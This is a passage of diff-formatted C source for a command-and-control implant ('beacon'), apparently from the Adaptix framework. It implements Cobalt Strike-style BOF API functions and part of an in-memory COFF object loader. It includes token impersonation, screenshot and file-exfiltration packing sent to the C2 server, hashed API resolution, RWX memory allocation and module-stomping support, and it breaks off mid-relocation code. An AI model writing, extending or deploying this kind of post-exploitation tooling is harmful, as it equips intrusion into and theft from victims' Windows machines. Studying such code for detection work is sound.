* concatenate into one buffer, so insert '\n' between consecutive
|
||||
* calls when the previous one didn't end with one. */
|
||||
if ( ctx->Len > 0 && ctx->Buf[ ctx->Len - 1 ] != '\n' ) {
|
||||
UINT32 sp = ( ctx->Cap > ctx->Len + 1u ) ? 1u : 0u;
|
||||
if ( sp ) { ctx->Buf[ ctx->Len ] = '\n'; ctx->Len++; }
|
||||
}
|
||||
|
||||
/* leave 1 byte for null terminator */
|
||||
UINT32 space = ( ctx->Cap > ctx->Len + 1u ) ? ( ctx->Cap - ctx->Len - 1u ) : 0;
|
||||
if ( space == 0 ) return;
|
||||
|
||||
UINT32 copy = ( (UINT32)len <= space ) ? (UINT32)len : space;
|
||||
MmCopy( ctx->Buf + ctx->Len, (PVOID)data, copy );
|
||||
ctx->Len += copy;
|
||||
ctx->Buf[ctx->Len] = '\0';
|
||||
}
|
||||
|
||||
FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax ) return;
|
||||
|
||||
CHAR buf[1024];
|
||||
__builtin_va_list args;
|
||||
__builtin_va_start( args, fmt );
|
||||
INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args );
|
||||
__builtin_va_end( args );
|
||||
if ( n < 0 || n >= (INT)( sizeof( buf ) - 1 ) ) n = (INT)( sizeof( buf ) - 1 );
|
||||
buf[ n ] = '\0';
|
||||
BeaconOutput( type, buf, n );
|
||||
}
|
||||
|
||||
/* ========= [ data parsing ] ========= */
|
||||
|
||||
/* BeaconDataPtr - advance parser by 'size' bytes and return the pointer.
|
||||
* Unlike BeaconDataExtract it does NOT read a length prefix; the caller
|
||||
* already knows the size (e.g. a fixed-size struct). */
|
||||
FUNC CHAR* BeaconDataPtr( datap* parser, INT size ) {
|
||||
if ( size <= 0 || size > parser->length ) return NULL;
|
||||
CHAR* ptr = parser->buffer;
|
||||
parser->buffer += size;
|
||||
parser->length -= size;
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* ax.bof_pack() / CS bof_pack() prefix the packed args with a 4-byte LE total-length
|
||||
* header before the first field. Skip those 4 bytes so BeaconDataExtract/Int read
|
||||
* the actual field sequence. This matches the public CS beacon.h reference. */
|
||||
FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size ) {
|
||||
INT header = ( size >= 4 ) ? 4 : 0;
|
||||
parser->original = buffer + header;
|
||||
parser->buffer = buffer + header;
|
||||
parser->length = size - header;
|
||||
parser->size = size - header;
|
||||
}
|
||||
|
||||
FUNC INT BeaconDataInt( datap* parser ) {
|
||||
if ( parser->length < 4 ) return 0;
|
||||
INT val = (INT)( (BYTE)parser->buffer[0]
|
||||
| ( (BYTE)parser->buffer[1] << 8 )
|
||||
| ( (BYTE)parser->buffer[2] << 16 )
|
||||
| ( (BYTE)parser->buffer[3] << 24 ) );
|
||||
parser->buffer += 4;
|
||||
parser->length -= 4;
|
||||
return val;
|
||||
}
|
||||
|
||||
FUNC SHORT BeaconDataShort( datap* parser ) {
|
||||
if ( parser->length < 2 ) return 0;
|
||||
SHORT val = (SHORT)( (BYTE)parser->buffer[0] | ( (BYTE)parser->buffer[1] << 8 ) );
|
||||
parser->buffer += 2;
|
||||
parser->length -= 2;
|
||||
return val;
|
||||
}
|
||||
|
||||
FUNC INT BeaconDataLength( datap* parser ) {
|
||||
return parser->length;
|
||||
}
|
||||
|
||||
/* Extract reads a 4-byte LE length prefix then returns a pointer into the buffer. */
|
||||
FUNC CHAR* BeaconDataExtract( datap* parser, INT* size ) {
|
||||
if ( parser->length < 4 ) return NULL;
|
||||
INT len = BeaconDataInt( parser );
|
||||
if ( len < 0 || len > parser->length ) return NULL;
|
||||
CHAR* ptr = parser->buffer;
|
||||
parser->buffer += len;
|
||||
parser->length -= len;
|
||||
if ( size ) *size = len;
|
||||
return ptr;
|
||||
}
|
||||
|
||||
/* ========= [ utility ] ========= */
|
||||
|
||||
FUNC BOOL BeaconIsAdmin( VOID ) {
|
||||
return FALSE; /* Phase 7A stub */
|
||||
}
|
||||
|
||||
FUNC BOOL BeaconUseToken( HANDLE token ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !Nax->Advapi32.ImpersonateLoggedOnUser ) return FALSE;
|
||||
return Nax->Advapi32.ImpersonateLoggedOnUser( token );
|
||||
}
|
||||
|
||||
FUNC VOID BeaconRevertToken( VOID ) {
|
||||
G_INSTANCE;
|
||||
if ( Nax && Nax->Advapi32.RevertToSelf )
|
||||
Nax->Advapi32.RevertToSelf();
|
||||
}
|
||||
|
||||
FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length ) {
|
||||
(void)x86; (void)buffer; (void)length;
|
||||
/* Phase 7A stub */
|
||||
}
|
||||
|
||||
FUNC BOOL BeaconInformation( PVOID info ) {
|
||||
(void)info;
|
||||
return FALSE; /* Phase 7A stub */
|
||||
}
|
||||
|
||||
/* toWideChar - thin wrapper around MultiByteToWideChar; widely used by BOFs */
|
||||
FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !src || !dst || max <= 0 ) return FALSE;
|
||||
INT n = Nax->Kernel32.MultiByteToWideChar( CP_ACP, 0, src, -1, dst, max );
|
||||
return ( n > 0 );
|
||||
}
|
||||
|
||||
/* ========= [ Adaptix extensions ] ========= */
|
||||
|
||||
/* Helper: write 4-byte LE integer - avoids pulling in Packer.c from the unity build. */
|
||||
static VOID AxW32( PBYTE p, UINT32 v ) {
|
||||
p[0] = (BYTE)v; p[1] = (BYTE)(v>>8); p[2] = (BYTE)(v>>16); p[3] = (BYTE)(v>>24);
|
||||
}
|
||||
|
||||
/* AxBofMediaAppend - allocate a NAX_BOF_MEDIA node and prepend to MediaHead. */
|
||||
static VOID AxBofMediaAppend( PNAX_INSTANCE Nax, PBYTE data, UINT32 len ) {
|
||||
NAX_BOF_MEDIA* node = (NAX_BOF_MEDIA*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_BOF_MEDIA ) );
|
||||
if ( !node ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, data ); return; }
|
||||
node->Data = data;
|
||||
node->Len = len;
|
||||
node->Next = Nax->BofCtx.MediaHead;
|
||||
Nax->BofCtx.MediaHead = node;
|
||||
}
|
||||
|
||||
/* AxAddScreenshot - sends a screenshot image back to the Adaptix server.
|
||||
* Packs as: [0x81][note_len(4LE)][note][img_len(4LE)][img]
|
||||
* Appended to BofCtx.MediaHead so multiple media per BOF are supported. */
|
||||
FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !data || len <= 0 ) return;
|
||||
|
||||
UINT32 note_len = 0;
|
||||
if ( note ) { const PCHAR p = note; while ( p[note_len] ) note_len++; }
|
||||
UINT32 total = 1u + 4u + note_len + 4u + (UINT32)len;
|
||||
|
||||
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total );
|
||||
if ( !buf ) return;
|
||||
|
||||
PBYTE p = buf;
|
||||
*p++ = CALLBACK_AX_SCREENSHOT;
|
||||
AxW32( p, note_len ); p += 4;
|
||||
if ( note_len ) { MmCopy( p, note, note_len ); p += note_len; }
|
||||
AxW32( p, (UINT32)len ); p += 4;
|
||||
MmCopy( p, data, (UINT32)len );
|
||||
|
||||
AxBofMediaAppend( Nax, buf, total );
|
||||
}
|
||||
|
||||
/* AxDownloadMemory - sends a file download back to the Adaptix server.
|
||||
* Packs as: [0x82][name_len(4LE)][name][data_len(4LE)][data]
|
||||
* Appended to BofCtx.MediaHead so multiple downloads per BOF are supported. */
|
||||
FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !data || len <= 0 ) return;
|
||||
|
||||
UINT32 name_len = 0;
|
||||
if ( filename ) { const PCHAR p = filename; while ( p[name_len] ) name_len++; }
|
||||
UINT32 total = 1u + 4u + name_len + 4u + (UINT32)len;
|
||||
|
||||
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total );
|
||||
if ( !buf ) return;
|
||||
|
||||
PBYTE p = buf;
|
||||
*p++ = CALLBACK_AX_DOWNLOAD_MEM;
|
||||
AxW32( p, name_len ); p += 4;
|
||||
if ( name_len ) { MmCopy( p, filename, name_len ); p += name_len; }
|
||||
AxW32( p, (UINT32)len ); p += 4;
|
||||
MmCopy( p, data, (UINT32)len );
|
||||
|
||||
AxBofMediaAppend( Nax, buf, total );
|
||||
}
|
||||
|
||||
/* ========= [ async BOF APIs ] ========= */
|
||||
|
||||
FUNC VOID BeaconWakeup( VOID ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !Nax->JobWakeEvent ) return;
|
||||
Nax->Kernel32.SetEvent( Nax->JobWakeEvent );
|
||||
}
|
||||
|
||||
FUNC HANDLE BeaconGetStopJobEvent( VOID ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !Nax->CurrentJob ) return NULL;
|
||||
return Nax->CurrentJob->hStopEvent;
|
||||
}
|
||||
|
||||
/* ========= [ format buffer ] ========= */
|
||||
|
||||
FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || maxsz <= 0 ) { format->original = NULL; return; }
|
||||
format->original = (CHAR*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, (SIZE_T)maxsz );
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
format->size = maxsz;
|
||||
}
|
||||
|
||||
FUNC VOID BeaconFormatReset( formatp* format ) {
|
||||
format->buffer = format->original;
|
||||
format->length = 0;
|
||||
if ( format->original && format->size > 0 )
|
||||
format->original[0] = '\0';
|
||||
}
|
||||
|
||||
FUNC VOID BeaconFormatFree( formatp* format ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !format->original ) return;
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, format->original );
|
||||
format->original = NULL;
|
||||
format->buffer = NULL;
|
||||
format->length = 0;
|
||||
format->size = 0;
|
||||
}
|
||||
|
||||
FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len ) {
|
||||
if ( !format->original || format->length + len >= format->size ) return;
|
||||
MmCopy( format->buffer, text, (UINT32)len );
|
||||
format->buffer += len;
|
||||
format->length += len;
|
||||
}
|
||||
|
||||
FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... ) {
|
||||
G_INSTANCE;
|
||||
if ( !Nax || !format->original ) return;
|
||||
CHAR buf[512];
|
||||
__builtin_va_list args;
|
||||
__builtin_va_start( args, fmt );
|
||||
INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args );
|
||||
__builtin_va_end( args );
|
||||
if ( n > 0 ) BeaconFormatAppend( format, buf, n );
|
||||
}
|
||||
|
||||
FUNC CHAR* BeaconFormatToString( formatp* format, INT* size ) {
|
||||
if ( size ) *size = format->length;
|
||||
return format->original;
|
||||
}
|
||||
|
||||
FUNC VOID BeaconFormatInt( formatp* format, INT value ) {
|
||||
/* Pack as 4-byte big-endian (network order - Cobalt Strike convention) */
|
||||
CHAR buf[4];
|
||||
buf[0] = (CHAR)( ( value >> 24 ) & 0xFF );
|
||||
buf[1] = (CHAR)( ( value >> 16 ) & 0xFF );
|
||||
buf[2] = (CHAR)( ( value >> 8 ) & 0xFF );
|
||||
buf[3] = (CHAR)( value & 0xFF );
|
||||
BeaconFormatAppend( format, buf, 4 );
|
||||
}
|
||||
@@ -0,0 +1,773 @@
|
||||
/* beacon/src/Bof/Loader.c [unity build - includes Api.c + Stomp.c]
|
||||
*
|
||||
* All three source files (Loader + Api + Stomp) are compiled as ONE translation
|
||||
* unit so that NaxBofInitApiTable's reference to BeaconOutput, BeaconDataParse
|
||||
* etc. are INTRA-unit. Cross-unit references on MinGW PE targets produce
|
||||
* .refptr.* stubs that live outside .text; since we extract only .text for the
|
||||
* shellcode binary those stubs are unavailable at runtime and the addresses come
|
||||
* out as the link-time offsets (e.g. 0x43AA) instead of runtime addresses.
|
||||
* A single TU forces direct lea rip-relative addressing - no .refptr.* needed. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Common.h"
|
||||
#include "Bof.h"
|
||||
|
||||
/* ---- pull in Api.c and Stomp.c as part of this translation unit ----
|
||||
* Define unity-build guard so their Macros.h/Instance.h guards are skipped
|
||||
* (they're already in scope from the includes above). */
|
||||
#define _NAX_BOF_UNITY_BUILD_
|
||||
#include "Api.c"
|
||||
#include "Stomp.c"
|
||||
#undef _NAX_BOF_UNITY_BUILD_
|
||||
|
||||
/* ========= [ helpers ] ========= */
|
||||
|
||||
/* Get the symbol's name - handles both short (≤8 bytes embedded) and long (string table). */
|
||||
static PCHAR SymName( PCOF_SYMBOL sym, PCHAR strtab ) {
|
||||
if ( sym->Name.Short == 0 )
|
||||
return strtab + sym->Name.Long;
|
||||
return sym->cName;
|
||||
}
|
||||
|
||||
/* NaxHashStrMod: FNV1a-32 of 'len' bytes from str, lowercased, then ".dll" appended.
|
||||
* Used to match BOF Win32 symbol module names (e.g. "KERNEL32") against the PEB. */
|
||||
static UINT32 NaxHashStrMod( const PCHAR str, UINT32 len ) {
|
||||
UINT32 h = 0x811C9DC5u;
|
||||
for ( UINT32 i = 0; i < len; i++ ) {
|
||||
BYTE c = (BYTE)str[i];
|
||||
if ( c >= 'A' && c <= 'Z' ) c += 0x20;
|
||||
h ^= c;
|
||||
h *= 0x01000193u;
|
||||
}
|
||||
CHAR dll[] = { '.', 'd', 'l', 'l', '\0' };
|
||||
for ( INT i = 0; dll[i]; i++ ) {
|
||||
h ^= (BYTE)dll[i];
|
||||
h *= 0x01000193u;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
/* ========= [ Beacon API table ] ========= */
|
||||
|
||||
/* Macro forces separate runtime lea/mov per entry - never uses compound literal
|
||||
* struct init which the compiler may lay out in .data with link-time addresses. */
|
||||
#define _API(i, h, fn) do { tbl[(i)].Hash = (h); tbl[(i)].Proc = (PVOID)(fn); } while(0)
|
||||
|
||||
static VOID NaxBofInitApiTable( NAX_BOF_API* tbl, PNAX_INSTANCE Nax ) {
|
||||
_API( 0, H_BOF_BEACONDATAPARSE, BeaconDataParse );
|
||||
_API( 1, H_BOF_BEACONDATAINT, BeaconDataInt );
|
||||
_API( 2, H_BOF_BEACONDATASHORT, BeaconDataShort );
|
||||
_API( 3, H_BOF_BEACONDATALENGTH, BeaconDataLength );
|
||||
_API( 4, H_BOF_BEACONDATAEXTRACT, BeaconDataExtract );
|
||||
_API( 5, H_BOF_BEACONOUTPUT, BeaconOutput );
|
||||
_API( 6, H_BOF_BEACONPRINTF, BeaconPrintf );
|
||||
_API( 7, H_BOF_BEACONISADMIN, BeaconIsAdmin );
|
||||
_API( 8, H_BOF_BEACONFORMATALLOC, BeaconFormatAlloc );
|
||||
_API( 9, H_BOF_BEACONFORMATRESET, BeaconFormatReset );
|
||||
_API( 10, H_BOF_BEACONFORMATFREE, BeaconFormatFree );
|
||||
_API( 11, H_BOF_BEACONFORMATAPPEND, BeaconFormatAppend );
|
||||
_API( 12, H_BOF_BEACONFORMATPRINTF, BeaconFormatPrintf );
|
||||
_API( 13, H_BOF_BEACONFORMATTOSTRING, BeaconFormatToString );
|
||||
_API( 14, H_BOF_BEACONFORMATINT, BeaconFormatInt );
|
||||
_API( 15, H_BOF_BEACONDATAPTR, BeaconDataPtr );
|
||||
_API( 16, H_BOF_BEACONUSETOKEN, BeaconUseToken );
|
||||
_API( 17, H_BOF_BEACONREVERTTOKEN, BeaconRevertToken );
|
||||
_API( 18, H_BOF_BEACONGETSPAWNTO, BeaconGetSpawnTo );
|
||||
_API( 19, H_BOF_BEACONINFORMATION, BeaconInformation );
|
||||
_API( 20, H_BOF_TOWIDECHAR, toWideChar );
|
||||
_API( 21, H_BOF_AXADDSCREENSHOT, AxAddScreenshot );
|
||||
_API( 22, H_BOF_AXDOWNLOADMEMORY, AxDownloadMemory );
|
||||
/* Win32 proxy functions - bare LoadLibraryA/GetProcAddress/etc. from <windows.h>
|
||||
* generate __imp_LoadLibraryA COFF symbols with no MODULE$ prefix. */
|
||||
_API( 23, H_BOF_LOADLIBRARYA, Nax->Kernel32.LoadLibraryA );
|
||||
_API( 24, H_BOF_GETPROCADDRESS, Nax->Kernel32.GetProcAddress );
|
||||
_API( 25, H_BOF_GETMODULEHANDLEA, Nax->Kernel32.GetModuleHandleA );
|
||||
_API( 26, H_BOF_FREELIBRARY, Nax->Kernel32.FreeLibrary );
|
||||
/* async BOF APIs */
|
||||
_API( 27, H_BOF_BEACONWAKEUP, BeaconWakeup );
|
||||
_API( 28, H_BOF_BEACONGETSTOPJOBEVENT, BeaconGetStopJobEvent );
|
||||
}
|
||||
#undef _API
|
||||
|
||||
/* ========= [ external symbol resolution ] ========= */
|
||||
|
||||
static PVOID NaxBofResolveExternal( PNAX_INSTANCE Nax, PCHAR sym_name,
|
||||
NAX_BOF_API* bofApiTable ) {
|
||||
/* ---- Beacon API lookup (no '$' separator) ---- */
|
||||
UINT32 sym_hash = NaxHashStr( sym_name );
|
||||
for ( INT i = 0; i < NAX_BOF_API_COUNT; i++ ) {
|
||||
if ( bofApiTable[i].Hash == sym_hash ) {
|
||||
NaxDbg( Nax, "[bof] sym '%s' -> BeaconAPI[%d] %p", sym_name, i, bofApiTable[i].Proc );
|
||||
return bofApiTable[i].Proc;
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Win32 API: MODULE$FUNCTION ---- */
|
||||
UINT32 mod_len = 0;
|
||||
while ( sym_name[ mod_len ] && sym_name[ mod_len ] != '$' ) mod_len++;
|
||||
if ( sym_name[ mod_len ] != '$' ) {
|
||||
/* Bare Win32 symbol (no MODULE$ prefix) - try kernel32 via GetProcAddress.
|
||||
* Handles __imp_* symbols from <windows.h> declarations that aren't in the
|
||||
* beacon API table (e.g. HeapAlloc, VirtualAlloc, etc.). */
|
||||
PVOID proc = Nax->Kernel32.GetProcAddress( Nax->Kernel32.Handle, sym_name );
|
||||
NaxDbg( Nax, "[bof] sym '%s' -> bare k32 fallback %p", sym_name, proc );
|
||||
return proc;
|
||||
}
|
||||
|
||||
PCHAR func_name = sym_name + mod_len + 1;
|
||||
UINT32 mod_hash = NaxHashStrMod( sym_name, mod_len );
|
||||
|
||||
PVOID hMod = NaxGetModule( mod_hash );
|
||||
if ( !hMod ) {
|
||||
/* Build lowercase CHAR module name for LoadLibraryA */
|
||||
CHAR mod_buf[64];
|
||||
UINT32 i;
|
||||
for ( i = 0; i < mod_len && i < 59; i++ ) {
|
||||
CHAR c = sym_name[i];
|
||||
if ( c >= 'A' && c <= 'Z' ) c += 0x20;
|
||||
mod_buf[i] = c;
|
||||
}
|
||||
mod_buf[i++] = '.'; mod_buf[i++] = 'd';
|
||||
mod_buf[i++] = 'l'; mod_buf[i++] = 'l';
|
||||
mod_buf[i] = '\0';
|
||||
NaxDbg( Nax, "[bof] sym '%s' -> LoadLibraryA('%s')", sym_name, mod_buf );
|
||||
hMod = Nax->Kernel32.LoadLibraryA( mod_buf );
|
||||
}
|
||||
if ( !hMod ) {
|
||||
NaxDbg( Nax, "[bof] sym '%s' -> module NOT FOUND", sym_name );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* GetProcAddress handles forwarded exports (e.g. ole32!CreateStreamOnHGlobal →
|
||||
* combase) that NaxGetProc misses when the target module isn't pre-loaded.
|
||||
* BOF symbol names are available as strings so no hash lookup is needed. */
|
||||
PVOID proc = Nax->Kernel32.GetProcAddress( hMod, func_name );
|
||||
NaxDbg( Nax, "[bof] sym '%s' -> %p (mod=%p)", sym_name, proc, hMod );
|
||||
return proc;
|
||||
}
|
||||
|
||||
/* ========= [ section allocation ] ========= */
|
||||
|
||||
/* NON-STOMP: MEM_TOP_DOWN places all sections near the DLLs at 0x7FF9... so
|
||||
* that REL32 displacements stay within ±2 GB. STOMP: NaxBofStompAlloc uses
|
||||
* StompAllocNear to place non-.text sections + mapFunctions adjacent to the
|
||||
* DLL image (also within ±2 GB).
|
||||
* image_base = MINIMUM section address so all ADDR32NB RVAs are non-negative. */
|
||||
#define BOF_ALLOC_FLAGS (MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN)
|
||||
|
||||
/* Allocate mapFunctions AFTER sections so all allocations land in the same
|
||||
* memory region. Allocating it first (with MEM_TOP_DOWN) places it at
|
||||
* 0x7FF8... while sections land at 0x1ECEC... - 6TB apart, 32-bit REL32
|
||||
* overflows. Allocating last keeps everything within ~400KB of each other. */
|
||||
static INT NaxBofAllocSections( PNAX_INSTANCE Nax, PBYTE bof,
|
||||
PCOF_HEADER hdr, PCOF_SECTION sections,
|
||||
PVOID* mapSections, PVOID* mf_out,
|
||||
BOOL* stomped ) {
|
||||
NaxDbg( Nax, "[bof] alloc: NtAllocVMem=%p", Nax->Ntdll.NtAllocateVirtualMemory );
|
||||
|
||||
if ( NaxBofStompAlloc( Nax, bof, hdr, sections, mapSections, mf_out ) ) {
|
||||
*stomped = TRUE;
|
||||
NaxDbg( Nax, "[bof] stomp mapFunctions=%p", *mf_out );
|
||||
return NAX_OK;
|
||||
}
|
||||
*stomped = FALSE;
|
||||
|
||||
for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
PCOF_SECTION s = sections + i;
|
||||
|
||||
/* Use VirtualSize for sections with no raw data (.bss = zero-init globals).
|
||||
* Without this, .bss is NULL and BOF globals that should be 0 at entry
|
||||
* are at garbage/NULL addresses → corrupted counters, crashes. */
|
||||
UINT32 raw_size = s->SizeOfRawData;
|
||||
UINT32 virt_size = s->VirtualSize;
|
||||
UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size;
|
||||
|
||||
if ( need == 0 ) {
|
||||
mapSections[i] = NULL;
|
||||
NaxDbg( Nax, "[bof] sec[%d] '%.8s' skip (raw=%u virt=%u)",
|
||||
(INT)i, s->Name, raw_size, virt_size );
|
||||
continue;
|
||||
}
|
||||
|
||||
PVOID base = NULL;
|
||||
SIZE_T alloc = (SIZE_T)need + 16;
|
||||
NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &base, 0, &alloc, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
NaxDbg( Nax, "[bof] sec[%d] '%.8s' alloc raw=%u virt=%u -> %p (st=0x%x)",
|
||||
(INT)i, s->Name, raw_size, virt_size, base, (UINT32)st );
|
||||
|
||||
if ( !NT_SUCCESS( st ) ) {
|
||||
for ( UINT16 j = 0; j < i; j++ ) {
|
||||
if ( mapSections[j] ) {
|
||||
SIZE_T sz = 0; PVOID b = mapSections[j];
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE );
|
||||
mapSections[j] = NULL;
|
||||
}
|
||||
}
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
mapSections[i] = base;
|
||||
|
||||
/* Copy raw bytes for ALL sections that have them, including writable (.data).
|
||||
* NtAllocateVirtualMemory zero-initialises; for .bss-style sections
|
||||
* (raw=0, virt>0) there is nothing to copy and they stay zeroed.
|
||||
* Do NOT skip writable sections: initialized globals belong in .data and
|
||||
* zeroing them corrupts the BOF's startup state. */
|
||||
if ( s->PointerToRawData && raw_size )
|
||||
MmCopy( base, bof + s->PointerToRawData, raw_size );
|
||||
}
|
||||
|
||||
/* Allocate mapFunctions AFTER all sections so it lands in the same
|
||||
* memory region (within ~400 KB of .text, safe for 32-bit REL32). */
|
||||
PVOID mf = NULL;
|
||||
SIZE_T mfs = 4096;
|
||||
Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &mf, 0, &mfs, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE );
|
||||
if ( mf ) MmZero( mf, mfs );
|
||||
*mf_out = mf;
|
||||
NaxDbg( Nax, "[bof] mapFunctions=%p (dist from .text: 0x%llx)",
|
||||
mf, mf ? (unsigned long long)((ULONG_PTR)mf - (ULONG_PTR)mapSections[0]) : 0 );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ cleanup ] ========= */
|
||||
|
||||
static VOID NaxBofCleanupSections( PNAX_INSTANCE Nax, PVOID* mapSections,
|
||||
UINT16 numSections, BOOL stomped ) {
|
||||
if ( stomped ) {
|
||||
NaxBofStompFree( Nax, mapSections, numSections );
|
||||
return;
|
||||
}
|
||||
for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) {
|
||||
if ( mapSections[i] ) {
|
||||
PVOID base = mapSections[i];
|
||||
SIZE_T sz = 0;
|
||||
Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE );
|
||||
mapSections[i] = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ relocation processing ] ========= */
|
||||
|
||||
/* mapFunctions: MEM_TOP_DOWN buffer for external-symbol IAT slots.
|
||||
* External REL32 calls (FF 15, __imp__*) patch the displacement to point here.
|
||||
* *mf_idx tracks the next free 8-byte slot. */
|
||||
static INT NaxBofProcessRelocations( PNAX_INSTANCE Nax, PBYTE bof,
|
||||
PCOF_HEADER hdr, PCOF_SECTION sections,
|
||||
PCOF_SYMBOL symtab, PCHAR strtab,
|
||||
PVOID* mapSections,
|
||||
NAX_BOF_API* bofApiTable,
|
||||
PUINT64 mapFunctions, UINT32* mf_idx,
|
||||
ULONG_PTR image_base ) {
|
||||
for ( UINT16 si = 0; si < hdr->NumberOfSections && si < BOF_MAX_SECTIONS; si++ ) {
|
||||
PCOF_SECTION s = sections + si;
|
||||
if ( !s->NumberOfRelocations || !s->PointerToRelocations ) continue;
|
||||
if ( !mapSections[si] ) continue;
|
||||
|
||||
NaxDbg( Nax, "[bof] reloc sec[%d] '%.8s' %u relocs", (INT)si, s->Name, (UINT32)s->NumberOfRelocations );
|
||||
|
||||
PCOF_RELOCATION relocs = (PCOF_RELOCATION)( bof + s->PointerToRelocations );
|
||||
|
||||
for ( UINT16 ri = 0; ri < s->NumberOfRelocations; ri++ ) {
|
||||
PCOF_RELOCATION r = relocs + ri;
|
||||
PCOF_SYMBOL sym = symtab + r->SymbolTableIndex;
|
||||
PBYTE loc = (PBYTE)mapSections[si] + r->VirtualAddress;
|
||||
|
||||
PVOID sym_addr = NULL;
|
||||
|
||||
if ( sym->SectionNumber > 0 ) {
|
||||
INT secIdx = sym->SectionNumber - 1;
|
||||
if ( secIdx >= BOF_MAX_SECTIONS || !mapSections[secIdx] ) continue;
|
||||
sym_addr = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value );
|
||||
} else {
|
||||
PCHAR name = SymName( sym, strtab );
|
||||
|
||||
/* Skip __imp_ prefix (6 bytes) */
|
||||
if ( name[0] == '_' && name[1] == '_' &&
|
||||
name[2] == 'i' && name[3] == 'm' &&
|
||||
name[4] == 'p' && name[5] == '_' )
|
||||
name += 6;
|
||||
|
||||
sym_addr = NaxBofResolveExternal( Nax, name, bofApiTable );
|
||||
if ( !sym_addr ) {
|
||||
UINT32 nlen = NaxStrLen( name );
|
||||
NaxDbg( Nax, "[bof] UNRESOLVED symbol: '%s'", name );
|
||||
BeaconOutput( CALLBACK_ERROR, name, (INT)nlen );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* Apply relocation patch */
|
||||
switch ( r->Type ) {
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
case IMAGE_REL_AMD64_ADDR64:
|
||||
*((UINT64*)loc) += (UINT64)(ULONG_PTR)sym_addr;
|
||||
break;
|
||||
case IMAGE_REL_AMD64_ADDR32NB: {
|
||||
/* RVA relative to image_base (the lowest allocated section address).
|
||||
* Using the minimum address ensures all RVAs are non-negative UINT32.
|
||||
* With MEM_TOP_DOWN, .text is at the HIGHEST address; using mapSections[0]
|
||||
* instead would produce negative values for all sections below .text,
|
||||
* which corrupts .pdata RUNTIME_FUNCTION UnwindInfoAddress entries and
|
||||
* makes exception dispatch crash rather than unwind correctly. */
|
||||
INT32 cur;
|
||||
MmCopy( &cur, loc, 4 );
|
||||
cur += (INT32)( (ULONG_PTR)sym_addr - image_base );
|
||||
MmCopy( loc, &cur, 4 );
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_AMD64_REL32:
|
||||
case IMAGE_REL_AMD64_REL32_1:
|
||||
case IMAGE_REL_AMD64_REL32_2:
|
||||
case IMAGE_REL_AMD64_REL32_3:
|
||||
case IMAGE_REL_AMD64_REL32_4:
|
||||
case IMAGE_REL_AMD64_REL32_5: {
|
||||
UINT32 delta = r->Type - IMAGE_REL_AMD64_REL32;
|
||||
INT32 addend = 0;
|
||||
/* COFF spec: the 4 bytes at the relocation site are a signed addend.
|
||||
* Both COFFLoader and Kharon include it in the displacement formula.
|
||||
* Omitting it produces wrong addresses for any non-zero addend
|
||||
* (e.g. RIP-relative access to the middle of a static array). */
|
||||
MmCopy( &addend, loc, 4 );
|
||||
|
||||
PVOID target;
|
||||
|
||||
if ( sym->SectionNumber > 0 || !mapFunctions ) {
|
||||
target = sym_addr;
|
||||
} else {
|
||||
/* External symbol via __imp_* (DECLSPEC_IMPORT, FF15 indirect call).
|
||||
* Store the 64-bit function VA in the next mapFunctions slot.
|
||||
* The disp32 points to that slot - one extra indirection, but the
|
||||
* slot is in the same TOP_DOWN range so the ±2 GB limit is safe. */
|
||||
if ( *mf_idx < 512 ) {
|
||||
